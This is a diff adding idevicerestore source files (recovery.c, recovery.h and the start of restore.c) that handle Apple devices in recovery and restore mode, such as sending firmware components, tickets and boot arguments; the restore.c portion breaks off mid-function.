diff --git a/sources/MobileRestoreCore/recovery.c b/sources/MobileRestoreCore/recovery.c
new file mode 100644
index 00000000..b843f1ed
--- /dev/null
+++ b/sources/MobileRestoreCore/recovery.c
@@ -0,0 +1,599 @@
+/*
+ * recovery.c
+ * Functions for handling idevices in recovery mode
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <libirecovery.h>
+#include <libimobiledevice/restore.h>
+#include <libimobiledevice/libimobiledevice.h>
+
+#include <libtatsu/tss.h>
+
+#include "idevicerestore.h"
+#include "img3.h"
+#include "restore.h"
+#include "recovery.h"
+
+static int recovery_progress_callback(irecv_client_t client, const irecv_event_t* event)
+{
+ if (event->type == IRECV_PROGRESS) {
+ set_progress('RECV', (double)(event->progress/100.0));
+ }
+ return 0;
+}
+
+void recovery_client_free(struct idevicerestore_client_t* client)
+{
+ if (client) {
+ finalize_progress('RECV');
+ if (client->recovery) {
+ if(client->recovery->client) {
+ irecv_close(client->recovery->client);
+ client->recovery->client = NULL;
+ }
+ free(client->recovery);
+ client->recovery = NULL;
+ }
+ }
+}
+
+int recovery_client_new(struct idevicerestore_client_t* client)
+{
+ int i = 0;
+ int attempts = 20;
+ irecv_client_t recovery = NULL;
+ irecv_error_t recovery_error = IRECV_E_UNKNOWN_ERROR;
+
+ if(client->recovery == NULL) {
+ client->recovery = (struct recovery_client_t*)malloc(sizeof(struct recovery_client_t));
+ if (client->recovery == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+ memset(client->recovery, 0, sizeof(struct recovery_client_t));
+ }
+
+ for (i = 1; i <= attempts; i++) {
+ recovery_error = irecv_open_with_ecid(&recovery, client->ecid);
+ if (recovery_error == IRECV_E_SUCCESS) {
+ break;
+ }
+
+ if (i >= attempts) {
+ logger(LL_ERROR, "Unable to connect to device in recovery mode\n");
+ return -1;
+ }
+
+ sleep(4);
+ logger(LL_DEBUG, "Retrying connection...\n");
+ }
+
+ if (client->srnm == NULL) {
+ const struct irecv_device_info *device_info = irecv_get_device_info(recovery);
+ if (device_info && device_info->srnm) {
+ client->srnm = strdup(device_info->srnm);
+ logger(LL_INFO, "INFO: device serial number is %s\n", client->srnm);
+ }
+ }
+
+ irecv_event_subscribe(recovery, IRECV_PROGRESS, &recovery_progress_callback, NULL);
+ client->recovery->client = recovery;
+ return 0;
+}
+
+int recovery_set_autoboot(struct idevicerestore_client_t* client, int enable)
+{
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ recovery_error = irecv_send_command(client->recovery->client, (enable) ? "setenv auto-boot true" : "setenv auto-boot false");
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to set auto-boot environmental variable\n");
+ return -1;
+ }
+
+ recovery_error = irecv_send_command(client->recovery->client, "saveenv");
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to save environmental variable\n");
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_enter_restore(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ if (client->macos_variant) {
+ client->restore_boot_args = strdup("rd=md0 nand-enable-reformat=1 -progress -restore");
+ } else if (client->build_major >= 8) {
+ client->restore_boot_args = strdup("rd=md0 nand-enable-reformat=1 -progress");
+ }
+
+ /* upload data to make device boot restore mode */
+
+ if(client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ if ((client->build_major > 8) && !(client->flags & FLAG_CUSTOM)) {
+ if (!client->image4supported) {
+ /* send ApTicket */
+ if (recovery_send_ticket(client) < 0) {
+ logger(LL_ERROR, "Unable to send APTicket\n");
+ return -1;
+ }
+ }
+ }
+
+ logger(LL_INFO, "Recovery Mode Environment:\n");
+ char* value = NULL;
+ irecv_getenv(client->recovery->client, "build-version", &value);
+ logger(LL_INFO, "iBoot build-version=%s\n", (value) ? value : "(unknown)");
+ free(value);
+ value = NULL;
+
+ irecv_getenv(client->recovery->client, "build-style", &value);
+ logger(LL_INFO, "iBoot build-style=%s\n", (value) ? value : "(unknown)");
+ free(value);
+ value = NULL;
+
+ unsigned long boot_stage = 0;
+ irecv_getenv(client->recovery->client, "boot-stage", &value);
+ if (value) {
+ boot_stage = strtoul(value, NULL, 0);
+ }
+ if (boot_stage > 0) {
+ logger(LL_INFO, "iBoot boot-stage=%s\n", value);
+ free(value);
+ value = NULL;
+ if (boot_stage != 2) {
+ logger(LL_ERROR, "iBoot should be at boot stage 2, continuing anyway...\n");
+ }
+ }
+
+ unsigned long radio_error = 0;
+ irecv_getenv(client->recovery->client, "radio-error", &value);
+ if (value) {
+ radio_error = strtoul(value, NULL, 0);
+ }
+ if (radio_error > 0) {
+ logger(LL_INFO, "radio-error=%s\n", value);
+ free(value);
+ value = NULL;
+ irecv_getenv(client->recovery->client, "radio-error-string", &value);
+ if (value) {
+ logger(LL_INFO, "radio-error-string=%s\n", value);
+ free(value);
+ value = NULL;
+ }
+ }
+
+ if (recovery_set_autoboot(client, 0) < 0) {
+ return -1;
+ }
+
+ /* send logo and show it */
+ if (recovery_send_applelogo(client, build_identity) < 0) {
+ logger(LL_ERROR, "Unable to send AppleLogo\n");
+ return -1;
+ }
+
+ /* send components loaded by iBoot */
+ if (recovery_send_loaded_by_iboot(client, build_identity) < 0) {
+ logger(LL_ERROR, "Unable to send components supposed to be loaded by iBoot\n");
+ return -1;
+ }
+
+ /* send ramdisk and run it */
+ if (recovery_send_ramdisk(client, build_identity) < 0) {
+ logger(LL_ERROR, "Unable to send Ramdisk\n");
+ return -1;
+ }
+
+ /* send devicetree and load it */
+ if (recovery_send_component_and_command(client, build_identity, "RestoreDeviceTree", "devicetree") < 0) {
+ logger(LL_ERROR, "Unable to send DeviceTree\n");
+ return -1;
+ }
+
+ if (build_identity_has_component(build_identity, "RestoreSEP")) {
+ /* send rsepfirmware and load it */
+ if (recovery_send_component_and_command(client, build_identity, "RestoreSEP", "rsepfirmware") < 0) {
+ logger(LL_ERROR, "Unable to send RestoreSEP\n");
+ return -1;
+ }
+ }
+
+ mutex_lock(&client->device_event_mutex);
+ if (recovery_send_kernelcache(client, build_identity) < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send KernelCache\n");
+ return -1;
+ }
+
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 30000);
+ if (client->mode == MODE_RECOVERY || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Failed to place device in restore mode\n");
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+
+ return 0;
+}
+
+int recovery_send_ticket(struct idevicerestore_client_t* client)
+{
+ if (!client->tss) {
+ logger(LL_ERROR, "ApTicket requested but no TSS present\n");
+ return -1;
+ }
+
+ unsigned char* data = NULL;
+ uint32_t size = 0;
+ if (tss_response_get_ap_ticket(client->tss, &data, &size) < 0) {
+ logger(LL_ERROR, "Unable to get ApTicket from TSS request\n");
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending APTicket (%d bytes)\n", size);
+ irecv_error_t err = irecv_send_buffer(client->recovery->client, data, size, 0);
+ free(data);
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send APTicket: %s\n", irecv_strerror(err));
+ return -1;
+ }
+
+ err = irecv_send_command(client->recovery->client, "ticket");
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send ticket command\n");
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component)
+{
+ size_t size = 0;
+ void* data = NULL;
+ char* path = NULL;
+ irecv_error_t err = 0;
+
+ if (client->tss) {
+ if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) {
+ logger(LL_DEBUG, "No path for component %s in TSS, will fetch from build_identity\n", component);
+ }
+ }
+ if (!path) {
+ if (build_identity_get_component_path(build_identity, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to get path for component '%s'\n", component);
+ free(path);
+ return -1;
+ }
+ }
+
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ free(path);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &data, &size);
+ free(component_data);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending %s (%zu bytes)...\n", component, size);
+
+ // FIXME: Did I do this right????
+ register_progress('RECV', "Uploading");
+ err = irecv_send_buffer(client->recovery->client, data, size, 0);
+ free(data);
+ finalize_progress('RECV');
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send %s component: %s\n", component, irecv_strerror(err));
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command)
+{
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ if (recovery_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ recovery_error = irecv_send_command(client->recovery->client, command);
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", component);
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_send_ibec(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ const char* component = "iBEC";
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ if (client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ if (recovery_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ recovery_error = irecv_send_command_breq(client->recovery->client, "go", 1);
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", component);
+ return -1;
+ }
+ irecv_usb_control_transfer(client->recovery->client, 0x21, 1, 0, 0, 0, 0, 5000);
+
+ return 0;
+}
+
+int recovery_send_applelogo(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ const char* component = "RestoreLogo";
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ if (!build_identity_has_component(build_identity, component)) {
+ return 0;
+ }
+
+ logger(LL_INFO, "Sending %s...\n", component);
+ if (client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ if (recovery_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ recovery_error = irecv_send_command(client->recovery->client, "setpicture 4");
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to set %s\n", component);
+ return -1;
+ }
+
+ recovery_error = irecv_send_command(client->recovery->client, "bgcolor 0 0 0");
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to display %s\n", component);
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_send_loaded_by_iboot(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ if (client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest");
+ if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find manifest node\n");
+ return -1;
+ }
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(manifest_node, &iter);
+ int err = 0;
+ while (iter) {
+ char *key = NULL;
+ plist_t node = NULL;
+ plist_dict_next_item(manifest_node, iter, &key, &node);
+ if (key == NULL)
+ break;
+
+ plist_t iboot_node = plist_access_path(node, 2, "Info", "IsLoadedByiBoot");
+ plist_t iboot_stg1_node = plist_access_path(node, 2, "Info", "IsLoadedByiBootStage1");
+ uint8_t is_stg1 = 0;
+ if (iboot_stg1_node && plist_get_node_type(iboot_stg1_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(iboot_stg1_node, &is_stg1);
+ }
+ if (iboot_node && plist_get_node_type(iboot_node) == PLIST_BOOLEAN && !is_stg1) {
+ uint8_t b = 0;
+ plist_get_bool_val(iboot_node, &b);
+ if (b) {
+ logger(LL_DEBUG, "%s is loaded by iBoot.\n", key);
+ if (recovery_send_component_and_command(client, build_identity, key, "firmware") < 0) {
+ logger(LL_ERROR, "Unable to send component '%s' to device.\n", key);
+ err++;
+ }
+ }
+ }
+ free(key);
+ }
+ free(iter);
+
+ return (err) ? -1 : 0;
+}
+
+int recovery_send_ramdisk(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ const char *component = "RestoreRamDisk";
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ if(client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ char* value = NULL;
+ irecv_getenv(client->recovery->client, "ramdisk-size", &value);
+ logger(LL_INFO, "ramdisk-size=%s\n", (value ? value : "(unknown)"));
+ free(value);
+ value = NULL;
+
+ if (recovery_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ irecv_send_command(client->recovery->client, "getenv ramdisk-delay");
+
+ recovery_error = irecv_send_command(client->recovery->client, "ramdisk");
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", component);
+ return -1;
+ }
+
+ sleep(2);
+
+ return 0;
+}
+
+int recovery_send_kernelcache(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ const char* component = "RestoreKernelCache";
+ irecv_error_t recovery_error = IRECV_E_SUCCESS;
+
+ if (client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ if (recovery_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ irecv_usb_control_transfer(client->recovery->client, 0x21, 1, 0, 0, 0, 0, 5000);
+
+ if (client->restore_boot_args) {
+ char setba[256];
+ strcpy(setba, "setenv boot-args ");
+ strcat(setba, client->restore_boot_args);
+ recovery_error = irecv_send_command(client->recovery->client, setba);
+ }
+
+ recovery_error = irecv_send_command_breq(client->recovery->client, "bootx", 1);
+ if (recovery_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", component);
+ return -1;
+ }
+
+ return 0;
+}
+
+int recovery_is_image4_supported(struct idevicerestore_client_t* client)
+{
+ if(client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return 0;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client);
+ if (!device_info) {
+ return 0;
+ }
+
+ return (device_info->ibfl & IBOOT_FLAG_IMAGE4_AWARE);
+}
+
+int recovery_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if(client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ if (device_info->ap_nonce && device_info->ap_nonce_size > 0) {
+ *nonce = (unsigned char*)malloc(device_info->ap_nonce_size);
+ if (!*nonce) {
+ return -1;
+ }
+ *nonce_size = device_info->ap_nonce_size;
+ memcpy(*nonce, device_info->ap_nonce, *nonce_size);
+ }
+
+ return 0;
+}
+
+int recovery_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if(client->recovery == NULL) {
+ if (recovery_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ if (device_info->sep_nonce && device_info->sep_nonce_size > 0) {
+ *nonce = (unsigned char*)malloc(device_info->sep_nonce_size);
+ if (!*nonce) {
+ return -1;
+ }
+ *nonce_size = device_info->sep_nonce_size;
+ memcpy(*nonce, device_info->sep_nonce, *nonce_size);
+ }
+
+ return 0;
+}
+
+int recovery_send_reset(struct idevicerestore_client_t* client)
+{
+ irecv_send_command_breq(client->recovery->client, "reset", 1);
+ return 0;
+}
+
diff --git a/sources/MobileRestoreCore/recovery.h b/sources/MobileRestoreCore/recovery.h
new file mode 100644
index 00000000..d7413e0c
--- /dev/null
+++ b/sources/MobileRestoreCore/recovery.h
@@ -0,0 +1,66 @@
+/*
+ * recovery.h
+ * Functions for handling idevices in recovery mode
+ *
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_RECOVERY_H
+#define IDEVICERESTORE_RECOVERY_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+#include <plist/plist.h>
+#include <libirecovery.h>
+
+#include "common.h"
+
+struct recovery_client_t {
+ irecv_client_t client;
+ const char* ipsw;
+ plist_t tss;
+};
+
+int recovery_client_new(struct idevicerestore_client_t* client);
+void recovery_client_free(struct idevicerestore_client_t* client);
+int recovery_enter_restore(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component);
+int recovery_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command);
+int recovery_send_ibec(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_applelogo(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_devicetree(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_ramdisk(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_kernelcache(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_loaded_by_iboot(struct idevicerestore_client_t* client, plist_t build_identity);
+int recovery_send_reset(struct idevicerestore_client_t* client);
+int recovery_send_ticket(struct idevicerestore_client_t* client);
+int recovery_set_autoboot(struct idevicerestore_client_t* client, int enable);
+int recovery_is_image4_supported(struct idevicerestore_client_t* client);
+int recovery_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int recovery_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/restore.c b/sources/MobileRestoreCore/restore.c
new file mode 100644
index 00000000..1913835d
--- /dev/null
+++ b/sources/MobileRestoreCore/restore.c
@@ -0,0 +1,5887 @@
+/*
+ * restore.c
+ * Functions for handling idevices in restore mode
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <libgen.h>
+#include <math.h>
+#include <libimobiledevice/restore.h>
+#include <libimobiledevice/property_list_service.h>
+#include <libimobiledevice-glue/thread.h>
+#ifdef HAVE_REVERSE_PROXY
+#include <libimobiledevice/reverse_proxy.h>
+#else
+#warning Linking against libimobiledevice without reverse proxy support. Please update to a newer version of libimobiledevice, the legacy code used will be removed in a future version of idevicerestore.
+#endif
+#include <zip.h>
+#include <libirecovery.h>
+#include <libtatsu/tss.h>
+#include <curl/curl.h>
+
+#include "idevicerestore.h"
+#include "asr.h"
+#include "fdr.h"
+#include "fls.h"
+#include "mbn.h"
+#include "ftab.h"
+#include "ipsw.h"
+#include "restore.h"
+#include "common.h"
+#include "endianness.h"
+
+#define CREATE_PARTITION_MAP 11
+#define CREATE_FILESYSTEM 12
+#define RESTORE_IMAGE 13
+#define VERIFY_RESTORE 14
+#define CHECK_FILESYSTEMS 15
+#define MOUNT_FILESYSTEMS 16
+#define FIXUP_VAR 17
+#define FLASH_FIRMWARE 18
+#define UPDATE_BASEBAND 19
+#define SET_BOOT_STAGE 20
+#define REBOOT_DEVICE 21
+#define SHUTDOWN_DEVICE 22
+#define TURN_ON_ACCESSORY_POWER 23
+#define CLEAR_BOOTARGS 24
+#define MODIFY_BOOTARGS 25
+#define INSTALL_ROOT 26
+#define INSTALL_KERNELCACHE 27
+#define WAIT_FOR_NAND 28
+#define UNMOUNT_FILESYSTEMS 29
+#define SET_DATETIME 30
+#define EXEC_IBOOT 31
+#define FINALIZE_NAND_EPOCH_UPDATE 32
+#define CHECK_INAPPR_BOOT_PARTITIONS 33
+#define CREATE_FACTORY_RESTORE_MARKER 34
+#define LOAD_FIRMWARE 35
+#define REQUESTING_FUD_DATA 36
+#define REMOVING_ACTIVATION_RECORD 37
+#define CHECK_BATTERY_VOLTAGE 38
+#define WAIT_BATTERY_CHARGE 39
+#define CLOSE_MODEM_TICKETS 40
+#define MIGRATE_DATA 41
+#define WIPE_STORAGE_DEVICE 42
+#define SEND_APPLE_LOGO 43
+#define CHECK_LOGS 44
+#define CLEAR_NVRAM 46
+#define UPDATE_GAS_GAUGE 47
+#define PREPARE_BASEBAND_UPDATE 48
+#define BOOT_BASEBAND 49
+#define CREATE_SYSTEM_KEYBAG 50
+#define UPDATE_IR_MCU_FIRMWARE 51
+#define RESIZE_SYSTEM_PARTITION 52
+#define COLLECTING_UPDATER_OUTPUT 53
+#define PAIR_STOCKHOLM 54
+#define UPDATE_STOCKHOLM 55
+#define UPDATE_SWDHID 56
+#define CERTIFY_SEP 57
+#define UPDATE_NAND_FIRMWARE 58
+#define UPDATE_SE_FIRMWARE 59
+#define UPDATE_SAVAGE 60
+#define INSTALLING_DEVICETREE 61
+#define CERTIFY_SAVAGE 62
+#define SUBMITTING_PROVINFO 63
+#define CERTIFY_YONKERS 64
+#define UPDATE_ROSE 65
+#define UPDATE_VERIDIAN 66
+#define CREATING_PROTECTED_VOLUME 67
+#define RESIZING_MAIN_FS_PARTITION 68
+#define CREATING_RECOVERY_OS_VOLUME 69
+#define INSTALLING_RECOVERY_OS_FILES 70
+#define INSTALLING_RECOVERY_OS_IMAGE 71
+#define REQUESTING_EAN_DATA 74
+#define SEALING_SYSTEM_VOLUME 77
+#define UPDATING_APPLETCON 81
+
+static int restore_finished = 0;
+
+static int restore_device_connected = 0;
+
+int restore_client_new(struct idevicerestore_client_t* client)
+{
+ struct restore_client_t* restore = (struct restore_client_t*) malloc(sizeof(struct restore_client_t));
+ if (restore == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+
+ if (restore_open_with_timeout(client) < 0) {
+ restore_client_free(client);
+ return -1;
+ }
+
+ client->restore = restore;
+ return 0;
+}
+
+void restore_client_free(struct idevicerestore_client_t* client)
+{
+ if (client && client->restore) {
+ if(client->restore->client) {
+ restored_client_free(client->restore->client);
+ client->restore->client = NULL;
+ }
+ if(client->restore->device) {
+ idevice_free(client->restore->device);
+ client->restore->device = NULL;
+ }
+ if(client->restore->bbtss) {
+ plist_free(client->restore->bbtss);
+ client->restore->bbtss = NULL;
+ }
+ free(client->restore);
+ client->restore = NULL;
+ }
+}
+
+static int restore_idevice_new(struct idevicerestore_client_t* client, idevice_t* device)
+{
+ int num_devices = 0;
+ char **devices = NULL;
+ idevice_get_device_list(&devices, &num_devices);
+ if (num_devices == 0) {
+ return -1;
+ }
+ *device = NULL;
+ idevice_t dev = NULL;
+ idevice_error_t device_error;
+ restored_client_t restore = NULL;
+ int j;
+ for (j = 0; j < num_devices; j++) {
+ if (restore != NULL) {
+ restored_client_free(restore);
+ restore = NULL;
+ }
+ if (dev != NULL) {
+ idevice_free(dev);
+ dev = NULL;
+ }
+ device_error = idevice_new(&dev, devices[j]);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't open device with UDID %s\n", __func__, devices[j]);
+ continue;
+ }
+
+ if (restored_client_new(dev, &restore, "idevicerestore") != RESTORE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't connect to restored on device with UDID %s\n", __func__, devices[j]);
+ continue;
+
+ }
+ char* type = NULL;
+ uint64_t version = 0;
+ if (restored_query_type(restore, &type, &version) != RESTORE_E_SUCCESS) {
+ continue;
+ }
+ if (strcmp(type, "com.apple.mobile.restored") != 0) {
+ free(type);
+ continue;
+ }
+ free(type);
+
+ if (client->ecid != 0) {
+ plist_t node = NULL;
+ plist_t hwinfo = NULL;
+
+ if (restored_query_value(restore, "HardwareInfo", &hwinfo) != RESTORE_E_SUCCESS) {
+ continue;
+ }
+
+ node = plist_dict_get_item(hwinfo, "UniqueChipID");
+ if (!node || plist_get_node_type(node) != PLIST_UINT) {
+ if (hwinfo) {
+ plist_free(hwinfo);
+ }
+ continue;
+ }
+ restored_client_free(restore);
+ restore = NULL;
+
+ uint64_t this_ecid = 0;
+ plist_get_uint_val(node, &this_ecid);
+ plist_free(hwinfo);
+
+ if (this_ecid != client->ecid) {
+ continue;
+ }
+ }
+ if (restore) {
+ restored_client_free(restore);
+ restore = NULL;
+ }
+ client->udid = strdup(devices[j]);
+ *device = dev;
+ break;
+ }
+ idevice_device_list_free(devices);
+
+ return 0;
+}
+
+int restore_check_mode(struct idevicerestore_client_t* client)
+{
+ idevice_t device = NULL;
+
+ restore_idevice_new(client, &device);
+ if (!device) {
+ return -1;
+ }
+ idevice_free(device);
+
+ return 0;
+}
+
+irecv_device_t restore_get_irecv_device(struct idevicerestore_client_t* client)
+{
+ char* model = NULL;
+ plist_t node = NULL;
+ idevice_t device = NULL;
+ restored_client_t restore = NULL;
+ restored_error_t restore_error = RESTORE_E_SUCCESS;
+ irecv_device_t irecv_device = NULL;
+
+ restore_idevice_new(client, &device);
+ if (!device) {
+ return NULL;
+ }
+
+ restore_error = restored_client_new(device, &restore, "idevicerestore");
+ if (restore_error != RESTORE_E_SUCCESS) {
+ idevice_free(device);
+ return NULL;
+ }
+
+ if (restored_query_type(restore, NULL, NULL) != RESTORE_E_SUCCESS) {
+ restored_client_free(restore);
+ idevice_free(device);
+ return NULL;
+ }
+
+ if (client->srnm == NULL) {
+ if (restored_get_value(restore, "SerialNumber", &node) == RESTORE_E_SUCCESS) {
+ plist_get_string_val(node, &client->srnm);
+ logger(LL_INFO, "INFO: device serial number is %s\n", client->srnm);
+ plist_free(node);
+ node = NULL;
+ }
+ }
+
+ restore_error = restored_get_value(restore, "HardwareModel", &node);
+ restored_client_free(restore);
+ idevice_free(device);
+ if (restore_error != RESTORE_E_SUCCESS || !node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to get HardwareModel from restored\n");
+ plist_free(node);
+ return NULL;
+ }
+
+ plist_get_string_val(node, &model);
+ irecv_devices_get_device_by_hardware_model(model, &irecv_device);
+ free(model);
+
+ return irecv_device;
+}
+
+int restore_is_image4_supported(struct idevicerestore_client_t* client)
+{
+ int result = 0;
+ plist_t hwinfo = NULL;
+ idevice_t device = NULL;
+ restored_client_t restore = NULL;
+ restored_error_t restore_error = RESTORE_E_SUCCESS;
+
+ if (idevice_new(&device, client->udid) != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to device %s\n", client->udid);
+ return -1;
+ }
+
+ restore_error = restored_client_new(device, &restore, "idevicerestore");
+ if (restore_error != RESTORE_E_SUCCESS) {
+ idevice_free(device);
+ return -1;
+ }
+
